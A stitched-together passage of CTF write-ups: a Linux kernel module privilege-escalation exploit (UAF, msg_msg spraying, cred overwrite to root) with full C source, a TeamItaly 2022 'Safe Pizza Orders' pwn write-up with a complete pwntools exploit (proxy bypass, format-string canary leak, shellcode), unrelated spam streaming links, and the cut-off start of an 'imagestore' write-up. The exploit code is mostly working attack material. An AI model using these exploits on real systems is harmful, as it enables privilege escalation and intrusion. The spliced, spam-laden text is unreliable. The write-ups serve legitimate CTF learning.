The offset of the `public` field inside the recipe is 0x10; same as before, it's possible to write at a desired location by corrupting one of the pointers of the recipes list and making it point to `<desired_location-0x10>`. Here come the other differences from the read primitive: we cannot use the toggle command to write arbitrary content, but just for writing 0 or 1; the location cannot be arbitrary, because it must satisfy the `owner_uid` constraint, otherwise the module will just reject the toggle attempt. The picture above shows how the memory area needs to be aligned:
So, in order to write a 0 or 1 at a desired location, the integer found at `<desired_location>+0x4` must be equal to the current process' uid.
The primitive for writing a 1 is not implemented since it's not useful to the challenge solving. The code snippet below implements the other primitive, following the same method used for the `read_int`:
```c#define MSG_SIZE 2040 - 48#define PUBLIC_OFF 0x10
void write_int_zero(unsigned long where) {
// Check current value if (!read_int(where)) { // Already zero, nothing to do return; }
// Check owner_uid constraint unsigned int value = read_int(where + 4); unsigned int curr = (unsigned int) getuid(); if (value != curr) { printf("[*] Cannot write here: found value %u, current uid %u!", value, curr); exit(-1); }
// Prepare structure struct { long mtype; char mtext[MSG_SIZE]; } msg; msg.mtype = 1; memset(msg.mtext, 0x41, MSG_SIZE - 1); msg.mtext[MSG_SIZE] = 0;
// Set first controllable pointer to <desired_address>-0x10 unsigned long *ptr = (unsigned long *) msg.mtext; ptr[0] = where - PUBLIC_OFF;
// Post message - allocate msg_msg int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
// Write dev_toggle(6);
// Receive message - free msg_msg msgrcv(msqid, &msg, sizeof(msg.mtext), 0, IPC_NOWAIT);
}```
##### Traversing the tasks list and getting root
The next step consists in traversing the tasks list to find the current process' kernel task. These are the steps performed:
- The `init_task` variable is read and the address of the first kernel task is found.- The `task_struct` at that location is accessed and the `pid` field of the structure is compared to the current process' one.- If the pids don't match, the field `tasks.next` is read to find the address of the next task in the list and the flow goes back to the previous step.- If the pids match, the field `cred` structure is accessed and its credentials are overwritten.
Since this challenge is build without KASLR enabled, the `init_task` address can be easily found reading the file `/proc/kallsyms`.
> Note: reading the file `/proc/kallsyms` requires root privileges, but you can change the challenge configuration in order to enter a root shell (and not a normal user shell) when running qemu. You need to decompress the file system, edit the file `/etc/init.d/rcS` and then compress it again. See [here](https://superuser.com/questions/734124/need-to-uncompress-the-initramfs-file).
It's necessary to know the offsets of all these fields inside the `task_struct` in order to get their addresses and read/overwrite them. The user can compute all the offsets by analyzing the kernel image to find them.
##### Finding the struct fields' offsets
> Note: jump to the next section [here](#overwriting-the-credentials) if you already know how to find the offsets.
In order to do it, it's possible to uncompress the bzImage into an elf file and then analyse it with gdb. [This](https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux) can be used for the uncompression part, launching the following command:
```consolebash extract-vmlinux ./bzImage > kernel_image```
The next step consists in analysing the kernel source code to find some functions that reference the struct fields needed. Then, disassembling the functions from the kernel elf, the offsets can be found in the assembly.
For example, if we want to search for the offset of the `tasks` field inside the `task_struct` (which is the pointer to the next task), we can search for references to `init_task.tasks` and end up looking at the macro [`for_each_process`](https://elixir.bootlin.com/linux/latest/source/include/linux/sched/signal.h#L645`) which is called by [`clear_tasks_mm_cpumask`](https://elixir.bootlin.com/linux/latest/source/kernel/cpu.c#L967). The latter calls the first, which references the needed field:
```c// for_each_process#define for_each_process(p) \ for (p = &init_task ; (p = next_task(p)) != &init_task ; )```
```c// clear_tasks_mm_cpumaskvoid clear_tasks_mm_cpumask(int cpu){ struct task_struct *p;
/* * This function is called after the cpu is taken down and marked * offline, so its not like new tasks will ever get this cpu set in * their mm mask. -- Peter Zijlstra * Thus, we may use rcu_read_lock() here, instead of grabbing * full-fledged tasklist_lock. */ WARN_ON(cpu_online(cpu)); rcu_read_lock(); for_each_process(p) { struct task_struct *t;
/* * Main thread might exit, but other threads may still have * a valid mm. Find one. */ t = find_lock_task_mm(p); if (!t) continue; arch_clear_mm_cpumask_cpu(cpu, t->mm); task_unlock(t); } rcu_read_unlock();}```
It's possible to use the file `/proc/kallsyms` again to find the address for this function, and then disassemble it using gdb or any other disassembling tool:
```console/ # cat /proc/kallsyms | grep "clear_tasks_mm_cpumask"ffffffff8106f090 T clear_tasks_mm_cpumask```
```Reading symbols from ./kernel_image...(No debugging symbols found in ./kernel_image)gef➤ x/100i 0xffffffff8106f0900xffffffff8106f090: push rbp 0xffffffff8106f091: mov ebp,edi 0xffffffff8106f093: push rbx 0xffffffff8106f094: bt QWORD PTR [rip+0x1a1fc34],rbp # 0xffffffff82a8ecd0 0xffffffff8106f09c: jb 0xffffffff8106f0ff? 0xffffffff8106f09e: call 0xffffffff810dd3f0 0xffffffff8106f0a3: mov rax,QWORD PTR [rip+0x17a5d6e] # 0xffffffff82814e18 0xffffffff8106f0aa: lea rbx,[rax-0x458] 0xffffffff8106f0b1: cmp rax,0xffffffff82814e18 0xffffffff8106f0b7: je 0xffffffff8106f0f8 0xffffffff8106f0b9: mov rdi,rbx 0xffffffff8106f0bc: call 0xffffffff81197140 0xffffffff8106f0c1: test rax,rax 0xffffffff8106f0c4: je 0xffffffff8106f0e2 0xffffffff8106f0c6: mov rdx,QWORD PTR [rax+0x4a8] 0xffffffff8106f0cd: lock btr QWORD PTR [rdx+0x3e8],rbp 0xffffffff8106f0d6: lea rdi,[rax+0x838] 0xffffffff8106f0dd: call 0xffffffff81ca0580 0xffffffff8106f0e2: mov rax,QWORD PTR [rbx+0x458] 0xffffffff8106f0e9: lea rbx,[rax-0x458] 0xffffffff8106f0f0: cmp rax,0xffffffff82814e18
```
The red circle line in the gdb output contains a call. Searching that address inside the `/proc/kallsyms` it's possible to see that it's the call to `rcu_read_lock`. After that call, the function starts looping and calling some addresses; searching for the called addresses in `/proc/kallsyms`, it's possible to see that these are the functions called inside the for loop generated by the macro.
At the end, it compares the value of the register `rax` with the address `0xffffffff82814e18`. The first address. Looking at the macro source code, it's possible to see that the compare is actually made between the `init_task` and its next task. Since the `init_task` address is `0xffffffff828149c0`, then the compared address must be the address of the next pointer. This implies the offset for the next pointer is `0x458`, computed as the difference from those two addresses.
Reasoning in the same way, all the other needed offsets can be found. These are the kernel functions that can be looked at and disassembled to get the other offsets:- pid offset from [`trace_initcall_start_cb`](https://elixir.bootlin.com/linux/latest/source/init/main.c#L1238)- cred and uid offsets from [`__x64_sys_getresuid`](https://elixir.bootlin.com/linux/latest/source/kernel/sys.c#L734)- cred and gid offsets from [`__x64_sys_getresgid`](https://elixir.bootlin.com/linux/latest/source/kernel/sys.c#L817)
There's another way to find the offsets, which consists in temporarily modifying the module to make it compute them using the `offsetof` macro as shown in the snippet below. Note that this solution is feasible in this challenge because the kernel was compiled without using the [struct layout randomization plugin](https://github.com/torvalds/linux/blob/master/security/Kconfig.hardening#L269), so the offsets are not randomized at compile time. If it was used, rebuilding the kernel and executing the snippet would have resulted in different and non usable offsets.
```cstatic int __init init_dev(void) { printk(KERN_INFO "tasks offset wrt task_struct = 0x%lx\n", offsetof(struct task_struct, tasks)); printk(KERN_INFO "cred offset wrt task_struct = 0x%lx\n", offsetof(struct task_struct, cred)); printk(KERN_INFO "pid offset wrt task_struct = 0x%lx\n", offsetof(struct task_struct, pid)); printk(KERN_INFO "uid offset wrt cred = 0x%lx\n", offsetof(struct cred, uid)); printk(KERN_INFO "gid offset wrt cred = 0x%lx\n", offsetof(struct cred, gid)); [...] // There's several other credentials inside the cred struct return 0;}```
The output can be read using the `dmesg` command:
```bash[ 2.430223] tasks offset wrt task_struct = 0x458[ 2.430264] cred offset wrt task_struct = 0x728[ 2.430276] pid offset wrt task_struct = 0x560[ 2.430294] uid offset wrt cred = 0x4[ 2.430315] gid offset wrt cred = 0x8```
> Note: the `dmesg` command is disabled for the non-root users, but you can change this configuration by editing the file `/etc/init.d/rcS` as described above.
##### Overwriting the credentialsOnce having the offsets, the very last step consists in understanding which ones of the credentials in the cred structure need to be overwritten. A usual and clean approach could be just overwriting them all in their definition order, but it would not work in this challenge, because the write primitive is constrained. Let's take a look at the `cred` structure:
```c// Source code: https://elixir.bootlin.com/linux/latest/source/include/linux/cred.h#L110
struct cred { [...]
kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */
[...]```
All the credentials have a value of 1000 when the challenge is started, and they're all stored inside variables of type `kuid_t/kgid_t` which are basically just structs wrapping unsigned integers. Given this, in order for a credential field to be overwritable, its following one must be equal to the current process' uid, which is the first credential in the structure.
- Before `uid` is overwritten, to overwrite the (i)th credential, the (i+1)th must be equal to 1000.- After `uid` is overwritten, to overwrite the (i)th credential, the (i+1)th must be equal to 0.- The `gid` field must be equal to 1000 when the `uid` field is overwritten.
In order to be able to read the root-protected flag file, it's not necessary to overwrite all the credentials. There's a lot of possible way to obtain the priviledges to read the flag. For example, overwriting first `euid` and then `uid` solves the problem and respects the constraints on the write primitive.
The following code implements the tasks list traversing and the credentials overwriting:
```c#define TASKS_OFF 0x458#define CRED_OFF 0x728#define PID_OFF 0x560#define UID_OFF 0x4#define EUID_OFF 0x14
// Iterate over Kernel tasks structures to find current process' credentialsprintf("[+] current uid = %u, current eid = %u\n", getuid(), geteuid());
printf("[*] Starting iteration on tasks list to find current process...\n");unsigned long cur = INIT_TASK, cred;unsigned int pid;unsigned int this_pid = getpid();while(1) { pid = read_int(cur + PID_OFF); if (pid == this_pid) { cred = read_long(cur + CRED_OFF); printf("[+] Found current process. Current pid = %u, cred struct = %p\n", pid, (void *) cred); printf("[+] cred struct uid = %u, cred struct eid = %u\n", read_int(cred + CRED_UID_OFF), read_int(cred + CRED_EUID_OFF));
printf("[*] Overwriting euid...\n"); write_int_zero(cred + CRED_EUID_OFF);
printf("[*] Overwriting uid...\n"); write_int_zero(cred + CRED_UID_OFF); break; } cur = read_long(cur + TASKS_OFF) - TASKS_OFF;}
printf("[+] current uid = %u, current eid = %u\n", getuid(), geteuid());```
---
### Exploit
Here the full exploit script:
```c#include <fcntl.h>#include <stdio.h>#include <string.h>#include <unistd.h>#include <stdlib.h>#include <stddef.h>#include <stdbool.h>#include <sys/types.h>#include <sys/ioctl.h>#include <sys/ipc.h>#include <sys/msg.h>
#define CHALLENGE_DRIVER "/dev/chall"
// Commands#define CMD_ALLOC 1337#define CMD_DELETE 1338#define CMD_READ 1339#define CMD_INFO 1340#define CMD_TOGGLE 1341
// Message buffer#define MSG_SIZE 2040 - 48
// Init task address#define INIT_TASK 0xffffffff828149c0
// Task structure offsets#define TASKS_OFF 0x458#define CRED_OFF 0x728#define PID_OFF 0x560#define CRED_UID_OFF 0x4#define CRED_EUID_OFF 0x14
// Recipe structure offsets#define PUBLIC_OFF 0x10#define UID_OFF 0x14
typedef union request {
struct alloc { unsigned long idx; char* buf; unsigned long bufsize; unsigned int public; } alloc;
struct delete { unsigned long idx; } delete;
struct read { unsigned long idx; char *buf; unsigned long bufsize; } read;
struct info { unsigned long idx; unsigned long bufsize; unsigned int public; uid_t owner_uid; } info;
struct toggle { unsigned long idx; } toggle;
} request_t;
static int fd;static request_t request;
// Useful interaction functionsint dev_alloc(char *buf, unsigned int public) { request.alloc.buf = buf; request.alloc.bufsize = strlen(buf); request.alloc.public = public; return ioctl(fd, CMD_ALLOC, &request);}
int dev_delete(unsigned long idx) { request.delete.idx = idx; return ioctl(fd, CMD_DELETE, &request);}
int dev_read(unsigned long idx, char *buf, unsigned long bufsize) { request.read.idx = idx; request.read.buf = buf; request.read.bufsize = bufsize; return ioctl(fd, CMD_READ, &request);}
int dev_info(unsigned long idx) { int res; request.info.idx = idx; res = ioctl(fd, CMD_INFO, &request); return res;}
int dev_toggle(unsigned long idx) { request.toggle.idx = idx; return ioctl(fd, CMD_TOGGLE, &request);}
// Read 32-bit primitiveunsigned int read_int(unsigned long where) {
// Prepare structure struct { long mtype; char mtext[MSG_SIZE]; } msg; msg.mtype = 1; memset(msg.mtext, 0x41, MSG_SIZE - 1); msg.mtext[MSG_SIZE] = 0;
// Set first controllable pointer to <desired_address>-0x14 unsigned long *ptr = (unsigned long *) msg.mtext; ptr[0] = where - UID_OFF;
// Post message - allocate msg_msg int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
// Read dev_info(6);
// Receive message - free msg_msg msgrcv(msqid, &msg, sizeof(msg.mtext), 0, IPC_NOWAIT);
return request.info.owner_uid;}
// Read 64-bit primitiveunsigned long read_long(unsigned long where) {
unsigned long p1, p2; p1 = read_int(where); p2 = read_int(where + 4); return p1 | (p2 << 32);}
// Write 32-bit zero primitiveint write_int_zero(unsigned long where) {
// Check current value if (!read_int(where)) { // Already zero, nothing to do return 0; }
// Check owner_uid constraint unsigned int value = read_int(where + 4); unsigned int curr = (unsigned int) getuid(); if (value != curr) { printf("[*] Cannot write here: found value %u, current uid %u!\n", value, curr); return -1; }
// Prepare structure struct { long mtype; char mtext[MSG_SIZE]; } msg; msg.mtype = 1; memset(msg.mtext, 0x41, MSG_SIZE - 1); msg.mtext[MSG_SIZE] = 0;
// Set first controllable pointer to <desired_address>-0x10 unsigned long *ptr = (unsigned long *) msg.mtext; ptr[0] = where - PUBLIC_OFF;
// Post message - allocate msg_msg int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
// Write dev_toggle(6);
// Receive message - free msg_msg msgrcv(msqid, &msg, sizeof(msg.mtext), 0, IPC_NOWAIT);
return 0;}
int main(int argc, char **argv) {
// Open challenge driver printf("[*] Opening challenge driver...\n"); fd = open(CHALLENGE_DRIVER, O_RDWR | O_NONBLOCK);
// Trigger integer overflow and UAF printf("[*] Triggering free on recipes list memory...\n"); for (int i = 0; i < 256; i++) { dev_alloc("Hello, world! :)", true); }
// Iterate over Kernel tasks structures to find current process' credentials printf("[+] current uid = %u, current eid = %u\n", getuid(), geteuid());
printf("[*] Starting iteration on tasks list to find current process...\n"); unsigned long cur = INIT_TASK, cred; unsigned int pid; unsigned int this_pid = getpid(); while (2) { pid = read_int(cur + PID_OFF); if (pid == this_pid) { cred = read_long(cur + CRED_OFF); printf("[+] Found current process. Current pid = %u, cred struct = %p\n", pid, (void *) cred); printf("[+] cred struct uid = %u, cred struct eid = %u\n", read_int(cred + CRED_UID_OFF), read_int(cred + CRED_EUID_OFF));
printf("[*] Overwriting euid...\n"); if (write_int_zero(cred + CRED_EUID_OFF) != 0) { goto error; }
printf("[*] Overwriting uid...\n"); if (write_int_zero(cred + CRED_UID_OFF) != 0) { goto error; } break; } cur = read_long(cur + TASKS_OFF) - TASKS_OFF; }
if (getuid() != 0 || geteuid() != 0) { goto error; }
printf("[+] current uid = %u, current eid = %u\n", getuid(), geteuid()); printf("[*] All done! Here is your flag:\n"); system("cat flag.txt"); return 0;
error: printf("[-] Some error occurred, exploit failed :(\n"); return -1;
}```
---
### Author
_Giulia Martino (@giulia)_ _Twitter:_ https://twitter.com/giuliamartinoo |
# TeamItaly CTF 2022
## Safe Pizza Orders (4 solves)
In this challenge we found 2 important files:
- The binary that execute the service- The source code of the proxy used to protect this binary
The docker container source code of the challenge is given, giving the possibility to execute locally the challenge and try to bypass the proxy.Otherwise, the challenge can be started locally with the binary ignoring the filtering action of the proxy.
### General details about the binary
- In the binary there are different standard function that were re-wrote to be "more secure", but each of these function has an "unsafe alternative" that can be callable changing a specific value (That is the order 0).- The binary is protected by a signature of the base pointer and of the return value, that is generated and verified every time we use a function. This system works well, but the signature can be calculated easily due to his implementation- The binary is exposed using a proxy, that avoid the sending of big quantity of data and avoid the input of 3 consecutive "stange character" (matched with this regex: /[^a-zA-Z0-9\.,\-\_ ]{3,}/)
### Solution
Details and vulnerabilities:
#### Arbitrary last_order index
```cpp#define MAX_ORDERS 20
int interactive_order_choose(){ while (true){ printf("Choose order (from %d to %d) > ", 1, MAX_ORDERS); int res = readint(); if (res < 0) return res; //This allow you to skip the input of the order ID last_order = res; //Here is not checked if the order is 0 or upper than 20 if (res >= 1 && res <= MAX_ORDERS){ return res; }else{ _println("Invalid order number, try again"); } }}```
looking at how is composed this function, you can easily choose an arbitrary value of last_order global variable, putting first the id 0, and after this a negative number.
After this operation last_order will be set to 0, and you will be able to access to the order 0 using the specific function in the menu that use last_index as input and deactivate the security function.
```cpp#define SAFETY_ON (orders[0] != NULL && orders[0]->content[0] == '1')```
This is what made security functions on, so just removing order 0, you will be able to deactivate the safety mode
#### RWX memory malloc
Looking at some "safe" function, you could see how is built the malloc function.
```cppstruct malloc_node * head_malloc_pointer = NULL, * tail_malloc_pointer = NULL;#define MALLOC_HEADER sizeof(struct malloc_node)#define MALLOC_NODE_MEM(__ptr) ((void*)(((void *)__ptr)+MALLOC_HEADER))#define MALLOC_NODE_BY_MEM(__ptr) ((struct malloc_node *)(((void *)__ptr)-MALLOC_HEADER))
void* safe_malloc(size_t size){ struct malloc_node* res = (struct malloc_node *)mmap( NULL, size+sizeof(struct malloc_node), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 ); if(res == MAP_FAILED){ fputs("Mapping Failed\n", stderr); exit(1); } res->size = size; if (head_malloc_pointer == NULL){ head_malloc_pointer = res; tail_malloc_pointer = res; res->next = NULL; }else{ tail_malloc_pointer->next = res; res->next = NULL; tail_malloc_pointer = res; } return MALLOC_NODE_MEM(res);}
void* _malloc(size_t size){ if (SAFETY_ON){ return safe_malloc(size); }else{ return malloc(size); }}```
this version of malloc uses directly the mmap primitive to allocate heap memory. This is ok (too slow, but ok), except the fact that the permission given to this memory location exceed the "normal" permissions given to the heap. Setting `PROT_READ | PROT_WRITE | PROT_EXEC` the memory mapped will be executable, and this helps you a lot during exploitation. The design of the new malloc function is not thought to be vulnerable, and there aren't overflow available because \_strncpy is always safe (in both versions).
#### Seccomp
The using of seccomp filter limitate the execution of some syscall by the binary, this should be considered during exploitation.
```cppscmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mmap), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(munmap), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(lseek), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(newfstatat), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(readv), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(writev), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigprocmask), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(gettid), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(tgkill), 0);seccomp_load(ctx);```
This is the policy applied using the c code above, and this will made available only some syscall which are: fstat, open, write, openat, read, close, mmap, munmap, lseek, newfstatat, exit, exit_group, readv, writev, rt_sigprocmask, gettid, getpid, tgkill
#### "La proxy"
"La proxy" is a real TCP proxy written using the boost library, that use the ios loop to manage efficiently all the requests to forward to real TCP server. Uses pcre2 c library (through a [c++ wrapper](https://github.com/jpcre2/jpcre2)) to filter TCP requests.
The proxy itself doesn't contain any software vulnerability, but looking at the way it works, you can easily bypass his filtering action. In fact, the proxy analyses specifically the TCP packets and not the TCP flux. This means that to bypass the limit of 3 consecutive "non standard" character filter (That is this one: `[^a-zA-Z0-9\.,\-_ ]{3,}`) you can send small sequence of these characters: for instance, if you need to send 0xdeadbeef, you could send first 0xdead and after 0xbeef, the binary will receive the merged string but the proxy won't filter that.
After the competition, there was add another filter to the proxy that don't allow to use %n (so writing) in the print format string, that could be used to bypass the proxy in an unintended way only using the printf
#### Stack Signature
In this binary there is a custom additional security check, that through a xor of the base pointer, the return address in the stack and a secret of 2 bytes, sign these data creating a signature value, that is checked at the end of every function.
This is how the signature is created and stored (in the first 2-bytes of the return address).
```cppvoid __cyg_profile_func_enter (void *this_fn, void *call_site){ __asm__ ( "pop %%rbp; \n" //Reset stack pointers "pop %%rdx; \n" //Get return value
"mov %[secret], %%ax; \n" //Assign value of the secret
"mov $14, %%rcx; \n" //Set the number of bytes to write (excluding the first 2 of the ret pointer) //Where will be written the signature, and that are 0x00 "sig_calc__cyg_profile_func_enter: \n" //INIT of loop "test %%rcx, %%rcx; \n" //Check if is the end of loop "je end_sig__cyg_profile_func_enter; \n" //If is the end of loop, jump to the end of the loop "dec %%rcx; \n" //Decrement the number of bytes to write "xor (%%rbp), %%al; \n" //Calculating signature with the first byte of the secret "xor (%%rbp), %%ah; \n" //Calculating signature with the second byte of the secret "inc %%rbp; \n" //Increment pointer to next byte to sign "jmp sig_calc__cyg_profile_func_enter; \n" //Loop "end_sig__cyg_profile_func_enter: \n" //End of the loop "mov %%ax, (%%rbp); \n" //Assign signature to fist 2-bytes of return address (that is likely to be 0x0000) "sub $14, %%rbp; \n" //Reset base pointer
"jmp *%%rdx; \n" //return to back function : : [secret] "r" (secret) : "memory" );}```
This is the verify procedure of the signature.
```cppvoid __cyg_profile_func_exit (void *this_fn, void *call_site){ __asm__ ( "pop %%rbp; \n" //Reset stack pointers "pop %%rdx; \n" //Get return value
"mov %[secret], %%ax; \n" //Assign value of the secret
"mov $14, %%rcx; \n" //Set the number of bytes to write (excluding the first 2 of the ret pointer) //Where will be written the signature, and that are 0x00 "sig_calc__cyg_profile_func_exit: \n" //INIT of loop "test %%rcx, %%rcx; \n" //Check if is the end of loop "je end_sig__cyg_profile_func_exit; \n" //If is the end of loop, jump to the end of the loop "dec %%rcx; \n" //Decrement the number of bytes to write "xor (%%rbp), %%al; \n" //Calculating signature with the first byte of the secret "xor (%%rbp), %%ah; \n" //Calculating signature with the second byte of the secret "inc %%rbp; \n" //Increment pointer to next byte to sign "jmp sig_calc__cyg_profile_func_exit; \n" //Loop "end_sig__cyg_profile_func_exit: \n" //End of the loop "xor %%ax, (%%rbp); \n" //xor the value with the old_signature, this will reset the return pointer "mov (%%rbp), %%ax; \n" //Copy the signature space for the check to 0x0000 (avoid segfault) "sub $14, %%rbp; \n" //Reset base pointer
"test %%ax, %%ax; \n" //Check if signature is correct "je end__cyg_profile_func_exit; \n" //If not, jump to the return address "call __stack_signature_failed; \n" //Call exit "end__cyg_profile_func_exit: \n" //End of function
"jmp *%%rdx; \n" //return : : [secret] "r" (secret) : "memory" );}```
This security system is not meant to be breakable, so to bypass it you need to calculate the secret and set the correct signature:the only fault is the way the signature is calculated, allowing the leak of the secret in an easier way than a bruteforce. The use of bruteforce to bypass this security check is not meant as a solution (The PoW should avoid this possibility at all).
#### Buffer overflow and print format string vuln in unsafe functions
print format string vuln
```cppvoid _println(char* str){ if (SAFETY_ON){ puts(str); }else{ size_t len = _strlen(str); char buf[len+2]; _memcpy(buf, str, len); buf[len] = '\n'; buf[len+1] = 0; printf(buf); }}```
Using gets in readline (that is vulnerable by design)
```cppvoid _readline(char* buf, size_t size){ char * res; if (SAFETY_ON){ res = fgets(buf, size-1, stdin); buf[_strlen(buf)-1] = 0; }else{ res = gets(buf); } if (res == NULL){ fputs("Reading Failed\n", stderr); exit(1); }}```
### Exploit
```pythonimport re, time, hashlib, stringfrom pwn import *
context.arch = 'amd64'
HOST = os.environ.get("HOST", "pizza-orders.challs.teamitaly.eu")PORT = int(os.environ.get("PORT", 15008))
p = remote(HOST, PORT)
def num_to_charseq(num, charset=string.ascii_letters): res = "" while True: if num < len(charset): res += charset[num] break res += charset[num%len(charset)] num //= len(charset) return res
def solve_pow(init_str, end_hash): num = 0 while True: try_solve = init_str + num_to_charseq(num) if hashlib.sha256(try_solve.encode('ascii')).hexdigest().lower().endswith(end_hash.lower()): return try_solve num += 1
#Solve PoW (this can be activated or deactivated)if p.recvuntil(b"Give me a string", timeout=0.5): proc = log.progress('PoW Required, solving...') p.recvuntil(b"starting in ") init_string = p.recvuntil(b" ")[:-1] p.recvuntil(b"ends in ") hash_end = p.recvuntil(b".")[:-1] p.sendline(solve_pow(init_string.decode(), hash_end.decode()).encode()) proc.success('PoW Solved, Starting Exploit')else: log.info("PoW not required, starting exploit")
log.info("Monkey Patching send_raw to bypass 'laproxy'")p.original_send_raw = p.send_rawdef monkey_patched_send_raw(data): data = to_bytes(data) for i in range(0,len(data),2): p.original_send_raw(data[i:i+2 if i+2<=len(data) else len(data)]) time.sleep(.05)#Avoid TCP packets aggregationp.send_raw = monkey_patched_send_raw
#Transform whatever you pass into bytesdef to_bytes(v): if isinstance(v, bytes): return v return str(v).encode()
#Send a command in the menudef sendcmd(num): p.sendlineafter(b"> ", to_bytes(num))
#Send multiple commands in the menudef sendcmds(*nums): [sendcmd(num) for num in nums]
#Send order detailsdef sendorderdetails(title, content): p.sendlineafter(b"> ", to_bytes(title)) p.sendlineafter(b"> ", to_bytes(content))
#Add an orderdef addorder(title, content): sendcmd(1) sendorderdetails(title, content)
#Get the result of a printf vuln (useful for dumping the stack)def printfvuln(text): sendcmds(2,20) sendorderdetails("FOO", text) sendcmds(4,20) delimiter = b"***********************************\n" p.recvuntil(delimiter) p.recvuntil(delimiter) return p.recvuntil(delimiter)[:-len(delimiter)].decode()
#Get bytes from a address in int formatdef get_bytes(addr,n=8): mask = 0xff for b_num in range(n): yield (addr&mask) >> (b_num*8) mask <<= 8
#Calculate the secret thanks to the information in the stackdef calc_secret(): search_result = printfvuln("%p."*40).split(".")[37:39] bp, ret = search_result bp, ret = int(bp,16), int(ret,16) sign = ret >> (8*6) #Take signature bytes clean_ret = ret & ( ~(0xffff<<(8*6)) ) sign_bytes = list(get_bytes(clean_ret)) + list(get_bytes(bp)) for ele in sign_bytes: sign ^= ele sign ^= ele<<8 return sign #Now this is calculated the secret
#Get the canary thanks to the information in the stackdef get_canary(): return int(printfvuln("%p."*40).split(".")[26], 16)
#Taken the base pointer and the return pointer, calculate the stack signed return pointerdef sign_calc(ret, sec, bp = 0xdeadbeefdeadbeef): for byte in list(get_bytes(ret)) + list(get_bytes(bp)): sec ^= byte sec ^= byte<<8 ret |= sec << (8*6) return pack(bp,64)+pack(ret,64)
log.info("Checking service availability")if not p.recvuntil(b"Choose an option:", timeout=3): exit("Server not responding")
proc = log.progress("Crafting shellcode to get the flag")shellcode_payload = asm( shellcraft.cat2("./pizza_secret_recipe") + #cat2 uses legal system calls, cat use sendfile syscall that is illegal shellcraft.exit(0) #Exit carefully the program (optional))proc.success("Done")
proc = log.progress("Sending order value with the shellcode")addorder("GIMME THE FLAG!", shellcode_payload)proc.success("Done")
sendcmds(2,0,-1,7)log.info("Deleted order 0 containing the SAFE MODE value, activated unsafe functions")
sendcmds(4,1)p.recvuntil(b"Advanced details: ")shellcode_addr = int(p.recvline(),16)+20log.info("Get shellcode address: {}".format(hex(shellcode_addr)))
secret = calc_secret()log.info("Calculated secret: {}".format(hex(secret)))
canary = get_canary()log.info("Leaked canary: {}".format(hex(canary)))
new_signature = sign_calc(shellcode_addr, secret)log.info("New return address and base pointer with signature: {}".format(new_signature.hex()))
# Sending the malicious payload# --> Here there are multiple canaries, so I spammed them here and used as paddingproc = log.progress("Sending malicious payload")p.sendline(b"A"*10+p64(canary)*3+new_signature)proc.success("Done")# "A"*10 = buffer of _readline# p64(canary)*3 = 3 canaries + padding# sign_calc(shellcode_addr, secret) = return address signed
p.recvuntil(b"> ") #Wait for the menu
secret_menu = p.recvall().decode()
log.info("FLAG: "+"".join(re.findall(r"flag{.*}",secret_menu))) # Here will be printed and filtered the flag
``` |
[https://www.iamtn-network.org/profile-1/rick-and-morty-season-6-episode-1-2022-at-home/profile](https://www.iamtn-network.org/profile-1/rick-and-morty-season-6-episode-1-2022-at-home/profile)[https://www.dancefitex.com/profile/rick-and-morty-season-6-episode-1-2022-at-home/profile](https://www.dancefitex.com/profile/rick-and-morty-season-6-episode-1-2022-at-home/profile) |
We got first blood on this challenge (10 teams solved it in the end), so here's a writeup of how we solved it.## PromptI keep too many photos of pizzas on my computer and my drive is almost full. Unfortunately I can't simply upload them to Google Photos because I don't like public cloud. So I decided to write my own CLI service to store all my images!
Can you read `/flag`?
This is a remote challenge, you can connect to the service with:`nc imagestore.challs.teamitaly.eu 15000`
Tip: to input a line longer than 4095 characters on your terminal, run `stty -icanon; nc imagestore.challs.teamitaly.eu 15000`.
Author: @napaalm
Attachments:imagestore.py
## Code ReviewWe are given a python file which the server is running. A user can choose one of the following options:- uploading an image- downloading an image (that you've uploaded earlier)- deleting an image- uploading multiple images
There are two interesting functions: `upload_image` and `upload_multiple_images`.Let's look at `upload_multiple_images` first, because the 'Hacker detected' line stands out.```pythondef upload_multiple_images(): path = "/tmp/images.zip"
encoded_content = input("Base64-encoded zip: ") try: with open(path, "wb+") as file: content = base64.b64decode(encoded_content) file.write(content)
